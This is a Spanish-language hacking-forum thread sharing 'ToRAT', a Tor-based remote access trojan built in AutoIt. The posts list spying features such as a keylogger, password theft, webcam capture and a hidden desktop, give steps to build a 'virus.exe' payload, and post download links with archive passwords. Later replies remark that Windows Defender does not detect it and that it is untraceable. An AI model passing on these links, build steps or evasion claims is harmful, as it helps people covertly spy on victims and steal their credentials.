Underc0de

Autor:

CitarHi all,

over a year ago i startet programming a RAT in AutoIT. It was OpenSource and uses Tor.

The last few month i added some Basic features like (FileManager, RegistryManager, RemoteDesktop, Remote WebCam, Keylogger, PasswordRecovery etc.)

The Rat is not perfect yet and i have so much more ideas and work to do. But its in a good stable state now. I decided to make it ClosedSource now (Still not hard to decompile cause its autoit). But it is free for this month only. So pls everybody test and report bugs.

This RAT is very slow casue it runs over tor. But i personaly like to be more anonymous and secure then fast.

Features that are in the GUI but not implemented yet:

WindowManager
SoftwareManager
DownloadExecute
ExecuteAutoITCommand
AudioSpy

Features that are not 100% done:

RemoteWebcam (only single snapshots working atm)
Keylogger (Downloading offline Keyloggfile must be done over FileManager "KL.html"
FileManager (Search funktion not implemented yet)
RemoteDesktop (PrintWindows methode not done yet - its for later HiddenDesktop use)
HiddenDesktop (after started in HiddenDesktop make sure to run explorer.exe first over RemoteShell)

Start ToRAT_C2_Server.exe -> Close it and start it again (Tor HiddenService is now created and settings autofilled in Builder) -> Build your "virus.exe" with the builder.

Descarga: https://www.sendspace.com/file/2xs0mo
Pass: underc0de.org

Saludos,
ANTRAX

Gracias antrax, muy bueno es cosa de ejecutar el dashboard desde cualquier coneccion a internet para que lleguen los clientes a conectarse automaticamente, no es necesario el desbloqueo de puertos por el router ni nada de configuracion pero eso no es lo complicado, lo que me resulta util es que no puedo usar otros troyanos atravez de mi coneccion 4g por problemas con la ip que la usamos varios dispositivos.
lo unico que afecta a este tipo de servers que el stub es demasiado pesado a comparacion de otros (superior a 4 mb), muchas gracias por compartir.

Hola Antrax, ¿aún sigues teniendo esta herramienta? me gustaría saber si es que la tienes ya que el link esta caido. Me he propuesto analizar esta herramienta, te agradecería muchisimo si la tuvieras. Gracias de antemano

Hola,
Acá esta: http://ge.tt/7DZFf9k2
Pass: indetectables.net

Saludos,
ANTRAX

gracias ANTRAX por el link pero no me descarga .... alguien verifico ? 

En efecto... no descarga.

Concuerdo con los demás usuarios, la descarga no se puede realizar...

Nada, no va la descarga.

Un saludo.

Acá encontré otra versión de este mismo rat:

ToRATv0.2.1: http://www.mediafire.com/file/n71n3jiwlls53cm/ToRATv0.2.1.7z/file
Password: HGf67uZG44!°ui&

Saludos,
ANTRAX

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Acá encontré otra versión de este mismo rat:

ToRATv0.2.1: http://www.mediafire.com/file/n71n3jiwlls53cm/ToRATv0.2.1.7z/file

Saludos,
ANTRAX

Gracias ANTRAX ... pero creo que se te olvido poner la pass del archivo  ::)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Acá encontré otra versión de este mismo rat:

ToRATv0.2.1: http://www.mediafire.com/file/n71n3jiwlls53cm/ToRATv0.2.1.7z/file

Saludos,
ANTRAX

Gracias ANTRAX ... pero creo que se te olvido poner la pass del archivo  ::)

Listo, actualizado! Sorry!

lo e probado y no a sadi estable  tiene mucha caidas de coneccion!

No me abre con el pass, 😔

podrian dar un tutorial o una breve guia de como usarlo?

me impresiona que microsoft defender no lo detecte para nada, esto lo usaba hace tiempo por lo inrastreable, ademas del ipforwarding, puedes abrir desde cualquier lugar y tendrán la conexión independiente de puertos y configuraciones adicionales al tema de configuración de puertos o red, el resto es un buen cifrado y probar pues bueno en nuestras vm.

Buenas noches!, lo has probado recientemente. Funciona bien y dices que defender no lo detecta?, en win10?.
Un saludo y muchas gracias.